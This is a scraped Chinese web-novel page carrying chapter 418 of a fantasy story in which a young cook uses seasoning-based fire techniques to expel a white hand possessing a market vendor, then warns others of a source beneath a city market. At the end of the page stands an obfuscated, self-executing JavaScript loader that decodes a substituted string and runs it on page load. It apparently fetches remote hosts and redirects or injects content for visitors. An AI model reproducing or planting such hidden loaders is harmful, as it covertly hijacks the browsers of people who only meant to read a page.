首页
第0418章 灶火焚邪 那只
返回
关灯 护眼:关 字号:小

第0418章 灶火焚邪 那只手从桌面下完全伸

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第0418章灶火焚邪那只手从桌面下完全伸(第1/2页)
    那只手从桌面下完全伸了出来。
    紧接着是手腕、小臂、手肘,每一寸皮肤都白得不像活物,像是用骨瓷烧制出来的人偶零件,在灶火金瞳的赤金色光芒下泛着冰冷的釉光。巴刀鱼注意到一个细节——这只手臂上没有汗毛,没有毛孔,甚至没有皮肤该有的纹理。它光滑得像一面镜子,倒映着巷子里的暗红色光影,倒映着那些被黑色丝线操控的人形茧,也倒映着巴刀鱼自己紧咬牙关的脸。
    桌子底下那双全黑的眼睛还在往上浮。
    巴刀鱼没有等它完全现身。他猛地把右手插进调料包里,五指张开,一次性夹出了四个小瓷瓶,拇指、食指、中指、无名指各扣一个,瓶塞在他指尖的玄力震动下同时弹飞。这个手法叫“四味齐出”,是黄片姜教他的进阶技巧,需要将玄力分成四股独立操控,每一股对应一味调料。他练了整整两个月才勉强做到不让调料在瓶口堵住,成功率不到一半。
    但现在他没资格考虑成功率。
    “小鱼,闭眼!”巴刀鱼低喝一声,四只瓷瓶同时向前泼洒。
    烈焰椒的红、霜盐的白、焦蒜的黑、麻椒的绿,四色粉末在空中炸开,像一朵在黑暗中绽放的烟花。巴刀鱼深吸一口气,胸腔膨胀到极限,然后猛地喷出一口灶火之气。这口气里裹挟着他体内翻涌的玄力,温度高得惊人,出口的瞬间就在空气中烧出了一道透明的热浪。四色粉末被这股热气一冲,轰的一声燃烧起来,化作四条颜色各异的火蛇,在半空中拧成一股,直扑那只白手而去。
    四味玄火——这是巴刀鱼目前能施展的最强攻击手段。烈焰椒主烧、霜盐主封、焦蒜主破、麻椒主困,四味合一,能同时灼烧目标的躯体、玄力、魂魄和行动力。黄片姜说过,这一手在同级别的玄厨对决里基本就是绝杀,因为没有人能同时防住四个维度的攻击。
    四条火蛇缠上那只白手的瞬间,发出了一阵刺耳的嗞嗞声,像是把冰水泼在了烧红的铁板上。白手表面的瓷质光泽开始剥落,露出一层暗灰色的皮下组织,那层组织在玄火的灼烧下不断翻涌,像是被搅动的水银。黑色漩涡的旋转速度明显慢了下来,边缘的暗紫色火焰被四味玄火压得缩成了一小圈,像是一只被踩住尾巴的蛇在疯狂扭动。
    巴刀鱼心中一喜,正要加大玄力输出,一股彻骨的寒意突然从脚底窜上来。
    不对。
    这只手被烧成这样,它的主人为什么没有任何反应?
    那双黑色的眼睛仍然在桌子底下缓缓上浮,速度不增不减,节奏不急不缓,像是一个人在按照既定的步骤完成一个仪式,完全不把眼前的战斗放在眼里。白手被玄火烧得皮开肉绽,但那双黑眼睛里没有流露出一丝一毫的痛楚或愤怒,甚至连最基本的情绪波动都没有。
    它不在乎。
    巴刀鱼的后背炸起一层鸡皮疙瘩。他的战斗直觉在疯狂地敲警钟——当一个敌人完全不在乎你最强的攻击时,只有两种可能:要么它是个感受不到疼痛的怪物,要么你的攻击对它的本体根本构不成威胁。而无论哪一种,对他现在的处境来说都是致命的。
    四味玄火的火势开始减弱。不是自然燃尽的那种减弱,而是像被什么东西从内部吸收了能量一样,四条火蛇的体型在迅速缩水。巴刀鱼看到,那只白手掌心里的黑色漩涡正在反向旋转,每逆时针转一圈,玄火的颜色就暗淡一分。它在吞噬玄火的能量。
    “操。”巴刀鱼骂出了今晚第一句脏话。他果断切断了对四条火蛇的玄力供应,一个后撤步退回娃娃鱼身边。失去了玄力支撑的火焰在空中炸成无数细小的火星,像一群惊飞的萤火虫,转瞬就被巷子里的黑暗吞没了。
    桌子底下,那双黑眼睛终于完全浮了上来。
    一张脸出现在桌面上方。
    巴刀鱼原本以为会看到一张狰狞的、非人的面孔,但出现在他眼前的这张脸,意外地……正常。那是一张四十多岁男人的脸,方脸膛,浓眉毛,鼻梁有点塌,嘴唇偏厚,皮肤粗糙,毛孔粗大,左脸颊上还有一颗绿豆大的黑痣。这张脸放在任何一座城市的任何一个城中村里都不会违和,它属于那种每天凌晨四点起床、蹬着三轮车去批发市场进货、蹲在马路牙子上啃馒头当早饭的底层劳动者。
    但这张脸上的那双眼睛是全黑的。
    没有眼白,没有瞳孔,只有两汪深不见底的黑色。那双黑眼睛镶嵌在一张平凡得甚至有点憨厚的脸上,产生了一种难以言喻的诡异感,就像在一碗普通的阳春面里捞出了一根还在蠕动的手指。
    而且巴刀鱼认识这张脸。
    他昨天还在菜市场见过这个人——周师傅旁边的摊位上卖豆制品的,姓刘,叫什么名字他不记得了,只知道别人都喊他老刘豆腐。老刘豆腐的摊子紧挨着老周的菜摊,两个人经常一起吃午饭,互相给对方留一份盒饭。巴刀鱼去买菜的时候偶尔会跟他们聊两句,老刘豆腐话不多,但人很实在,买他的豆腐从来不担心掺假。
    现在老刘豆腐坐在圆桌的另一端,和那些被丝线操控的人一样机械地往嘴里塞着食物。但巴刀鱼突然意识到他之前犯了一个错误——老刘豆腐不是坐在桌边。他是被绑在椅子上。那些黑色丝线不是从他的体内延伸出来的,而是从桌子正中央的那团黑影里伸出来,穿过他的身体,把他钉在了椅子上。他的嘴在动,手在动,但他的身体一动不动,像一具被强行操控的傀儡。
    白手——那只被四味玄火烧得皮开肉绽的白手——是从老刘豆腐的胸口伸出来的。
    巴刀鱼的胃猛地抽搐了一下。他看清了。那只白手不是从桌面下伸上来的,而是从老刘豆腐的胸膛正中央钻出来的。胸口的衣服被撕裂了一个大洞,皮肤向外翻卷着,露出下面的肌肉组织和肋骨,那只白手就从那个血肉模糊的伤口里探出来,肘部以下露出体外,肘部以上还深深地嵌在老刘豆腐的胸腔里。白手的五根手指有节奏地舒张、收缩,像是婴儿吸吮乳汁的嘴。每收缩一次,老刘豆腐的脸就白一分,而那些坐在桌边的傀儡们的咀嚼动作就加快一分。
    “它不是寄生在他身上。”娃娃鱼的声音在他身后响起,轻得像一片羽毛落在雪地上,“它是用他当门。他在吃他,用吃到的力气把门撑得更大。”
    巴刀鱼咬紧了后槽牙。臼齿摩擦的声音在寂静的巷子里咯吱作响。他明白娃娃鱼的意思——老刘豆腐还活着,但那东西正在从内部吞噬他的生命力和玄力,用吞噬来的能量扩大自己与现实世界之间的连接通道。当通道足够大的时候,娃娃鱼说的那些“等在后面的东西”就会一股脑地涌过来。
    他必须在那之前把老刘豆腐救出来。
    巴刀鱼从调料包里掏出了最后一个瓷瓶。这个瓶子比其他的都要小,只有拇指大小,瓶身是深褐色的,上面没有贴标签,瓶口用蜂蜡封得严严实实。他把瓶子握在掌心里,犹豫了不到半秒,然后用拇指顶开了蜡封。
    一股浓烈的药香从瓶口溢出来,香气之强烈,连坐在远处的傀儡们都停顿了一瞬。那不是普通香料的香气,而是一种混合了数十种药材的复杂气味,苦中带甘,辛中带凉,闻一口就觉得鼻腔通泰、脑门清明。
    “千年老山参的精粹?”娃娃鱼瞪大了眼睛,满脸不可置信,“黄老师不是说这个是你突破瓶颈的时候才能用的吗?你现在用了,下次破境拿什么冲关?”
    “冲不过去就冲不过去。”巴刀鱼把瓶口对准嘴巴,一滴金黄色的黏稠液体从瓶口滑落,坠入他的口中,“冲过去了没有老刘和老周,冲过去了有什么意义?”
    参液入喉,巴刀鱼的身体像被雷劈中一样剧烈地颤抖了一下。一股暴烈的热流从他的丹田处炸开,沿着经脉疯狂地奔涌,冲过四肢百骸,直冲天灵盖。他的皮肤表面浮现出一层淡淡的金光,像是整个人被镀上了一层金箔,灶火金瞳的光芒在这一刻暴涨了三倍有余,将整条巷子照得如同白昼。
    白手手指的律动第一次出现了停顿。那双嵌在老刘豆腐脸上的黑眼睛缓缓转动,对准了巴刀鱼的方向。这一次,黑眼睛里终于有了一丝反应——不是恐惧,不是警惕,而是……好奇。像是一个小孩子在院子里翻石头时,突然发现了一只颜色特别鲜艳的虫子,忍不住想把它捉起来放进玻璃罐子里看个仔细。
    白手的手指重新弯曲了一下。
    这一次不是招手。这一次是握拳。
    桌上的所有傀儡同时停下了咀嚼的动作。七八颗脑袋齐刷刷地转向巴刀鱼,每一张脸上都挂着同样的表情——嘴角向下撇着,眼睛睁得大大的,泪水和食物的残渣混在一起从下巴滴落。他们的表情不是痛苦,不是恐惧,而是一种更深层的、直达骨髓的悲哀。
    他们在哭,但他们的嘴还在嚼。
    (本章未完,请点击下一页继续阅读)第0418章灶火焚邪那只手从桌面下完全伸(第2/2页)
    娃娃鱼的读心能力在这一刻被动触发,七八个人的情绪同时涌进她的意识里,像是七八台收音机同时开了最大音量。小姑娘的身体猛烈地晃了一下,双手捂住耳朵,蹲在了地上,嘴唇哆嗦着,断断续续地吐出几个字。
    “他们在求……求我们……杀了他们。”
    白手握紧的拳头猛地张开。黑色漩涡的转速瞬间飙升,发出一声尖锐的呼啸,像高速旋转的电钻。所有的傀儡同时张开嘴,从每一张嘴里涌出一股灰白色的气流,像是被抽出的蚕丝,在半空中汇聚成一条粗壮的洪流,朝巴刀鱼的方向卷过来。
    那不是物理攻击。巴刀鱼的灶火金瞳看得一清二楚——那股气流是纯粹的“灵能残渣”,是被吞噬后又被污染的灵性碎片。它们已经不再是生命的气息,而是被转化成了某种更扭曲、更具侵蚀性的东西。被它碰到的人,体内的灵性会被直接污染,轻则玄力尽失,重则变成和老刘豆腐一样的“门”。
    巴刀鱼没有躲。千年老山参的精粹在他体内燃烧,他感觉自己的每一条经脉都像被灌进了岩浆,炙热、暴烈、难以控制,但同时也给他带来了一种从未体验过的力量充盈感。他现在能用的不止四味玄火,甚至不止五味、六味。老山参的功效是将使用者的玄力上限临时拔高一个档次,在这个时间段里,他能尝试之前完全不敢想的技巧。
    他闭上了眼睛。
    在灵能残渣的洪流距离他面门不到三米的时候,他睁开了眼睛,张开嘴,吐出了一个字。
    “灶。”
    这个字不是喊出来的,是从他丹田深处被玄力裹挟着推出来的。声波在空气中荡开一圈肉眼可见的涟漪,将最前面的几缕灵能残渣直接震散。
    “膛。”
    第二个字出口,巴刀鱼的身体周围浮现出一圈赤红色的光环。光环的直径大约两米,刚好将他、娃娃鱼以及身后三步范围内的空间全部笼罩在内。光环的边缘燃烧着细细的火苗,火苗的颜色不是红的,而是一种接近透明的淡金色,温度比四味玄火高出一个量级。
    “火。”
    第三个字落地的瞬间,光环骤然向外扩张,从两米暴涨到十米,将整张圆桌、所有的傀儡、老刘豆腐以及那只白手全部圈了进去。淡金色的火焰在地面上铺展开来,不是猛烈地燃烧,而是像一层薄薄的金色水波,安静地流淌过每一寸地面。金色火焰所过之处,黑白化的地面重新恢复了颜色,那些被刻痕划出的边界线在金焰的灼烧下发出刺耳的尖啸声,像被烫伤的蛇一样疯狂扭动,然后寸寸断裂。
    灵能残渣的洪流撞上了光环的边缘,像是泥浆泼在了烧红的铁板上,发出嗤嗤的响声,顷刻间蒸发殆尽。
    白手的五根手指剧烈地颤抖起来。这是巴刀鱼今晚第一次看到它露出失态的反应。手掌中央的黑色漩涡在金焰的照耀下开始不稳定地抖动,边缘的暗紫色火焰被压缩到了极限,只剩下薄薄的一小圈,随时都可能熄灭。
    “灶膛火”——这是巴刀鱼从玄厨传承中领悟的第一个意境技。它不是用来炒菜的火,而是灶膛本身的火。每一座灶膛都是一个微型的天地熔炉,既能将生食煮成熟食,也能将邪祟炼化成灰。灶膛火不烧肉身,只烧虚妄,专门克制一切不属于人间正常秩序的玄异存在。
    那只白手,显然就在此列。
    白手开始往回缩。五根手指一根一根地收进掌心,手肘弯曲,小臂缓缓退回老刘豆腐的胸腔。动作不快,甚至称得上从容,但在灶膛火的光照下,巴刀鱼看到白手表面的瓷质光泽正在大面积地剥落,露出下面一层黝黑的、不断蠕动的真身。
    那双黑眼睛盯着巴刀鱼看了三秒,然后缓缓闭上。
    不是败退的闭眼,不是痛苦的闭眼,而是像是要把什么东西牢牢记在心里之后再合上眼皮的那种闭眼。它记住了他。记住了这道灶膛火的气息,记住了这个敢用千年老山参硬刚的年轻玄厨,记住了这张被金色火焰照亮的、咬着牙关寸步不退的脸。
    老刘豆腐的身体猛地一震,胸口的白手完全缩回了体内,伤口处以肉眼可见的速度长出了一层新的皮肤,把那个恐怖的血窟窿封了起来。但巴刀鱼的灶火金瞳能看见皮肤下面的东西——那只白手还在,缩成了拳头大小,安静地蛰伏在老刘豆腐的心脏旁边,像一颗随时会再次孵化的卵。
    黑色丝线一根接一根地断裂,被操控的傀儡们像断了线的木偶一样瘫倒在桌上。老周的脸砸在白色塑料桌布上,嘴里还含着半片白菜叶,但咀嚼的动作终于停了下来。灶膛火的金色光芒温柔地覆盖在他的身上,将他体表那层灰蒙蒙的死气一点一点地烧散,露出下面苍白的、但至少是属于活人的肤色。
    巷子里的黑白化从边缘开始消退,色彩像涨潮的海水一样重新涌回来。墙壁上的涂鸦恢复了花花绿绿的颜色,地面上那道刻痕被灶膛火烧得无影无踪。远处传来城中村夜市的嘈杂声——烤串摊老板的吆喝、醉酒青年的笑骂、广场舞音响里震耳欲聋的凤凰传奇——这些人间的噪音此刻听在巴刀鱼的耳朵里,比任何音乐都悦耳。
    现实世界回来了。
    巴刀鱼身体周围的金色光环闪了两下,无声地碎裂成无数光点,像被风吹散的蒲公英。他双腿一软,整个人往前栽倒,被娃娃鱼一把扶住了肩膀。千年老山参的药效来得猛去得也快,那股炙热的能量在体内燃烧殆尽之后,留下的是一片冰冷的虚脱感,像是整个人被掏空了之后又被塞进冰箱里冻了一夜。
    他强撑着没有晕过去,扶着娃娃鱼的肩膀走到圆桌前,挨个检查了每一个人的状况。呼吸正常,脉搏微弱但稳定,玄力波动接近于零但至少没有消散。他们还活着。虽然被吞噬了大量的灵性,但命保住了。
    老周的眼皮动了动,发出一声含糊的**。巴刀鱼弯下腰,拍了拍他的脸颊:“老周,醒醒,能听到我说话吗?”
    老周的眼睛睁开了一条缝,瞳孔涣散,像是还陷在某种噩梦的余韵里没有完全醒过来。他的嘴唇翕动了半天,终于挤出了一句断断续续的话。
    “他……他还在……在菜市场下面……”
    巴刀鱼的心猛地一沉。
    他猛地转头看向老刘豆腐。老刘豆腐趴在桌上一动不动,呼吸平稳,面色安详,看起来就像是一个劳累了一天的菜贩子终于能躺下来好好睡一觉。但巴刀鱼的灶火金瞳还没有完全消退,在残余的金色视野里,他看到了让他后背发凉的东西。
    老刘豆腐胸腔里的那只白手还在动。不是在收缩,而是在生长。五根蜷缩的手指正在缓慢地、一寸一寸地重新张开。手掌中央那个被灶膛火烧得缩成针尖大小的黑色漩涡,正在以肉眼几乎察觉不到的速度,重新开始旋转。
    而远处,在城中村的地平线尽头,在城北农贸批发市场的方向,巴刀鱼的灶火金瞳看到了几个微弱的、和白手一模一样的气息波动。不是一个,是至少七八个,像是一窝蛰伏在地下的毒蛇,正被同伴的气息唤醒,一个接一个地睁开了黑色的眼睛。
    那些被绑在椅子上、被钉在桌子前、被塞进车里的人,从来都不是终点。老周、老刘豆腐、那七八个不知名的傀儡——他们只是被随手丢弃的包装袋。真正的源头,在菜市场。在每天有上万人进出的、供应着大半个城区餐桌食材的农贸批发市场的地下。
    巴刀鱼撑着娃娃鱼的肩膀站直了身体。他的嘴唇干裂,眼眶深陷,两条腿抖得像筛糠,但那双眼睛里灶火金瞳的余火还没有完全熄灭。
    他摸出手机,拨通了酸菜汤的号码。
    电话响了很久才被接起来。酸菜汤那边的背景音很嘈杂,锅铲碰撞铁锅的叮当声、油锅爆炒的滋啦声、客人催菜的喊叫声混成一片。她在后厨忙得脚不沾地,接电话的时候语气里带着火气:“喂?老巴?你他妈最好是有重要的事,老娘这边刚翻了一锅酸菜鱼,正重新做呢——”
    “把店关了。”巴刀鱼的声音沙哑而平静。
    电话那头沉默了两秒。
    “你再说一遍?”
    “把店关了。现在。马上。”巴刀鱼说,每一个字都像是从牙缝里挤出来的,“通知所有你认识的玄厨,把消息放出去——城北菜市场有玄异源头,等级未知,波及范围至少覆盖了周边五个街区。所有从那边进货的店,全部停止使用这批食材。已经吃下去的,观察三天。没吃下去的,就地封存。”
    酸菜汤那边锅铲落地的声音哐当一响。
    “你确定?”
    “我就在现场。”巴刀鱼看了一眼桌上横七竖八躺着的傀儡们,看了一眼老刘豆腐胸腔里那只正在缓缓张开的白手,看了一眼远处城北市场方向那七八个正在苏醒的黑色气息,“而且这只是开始。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();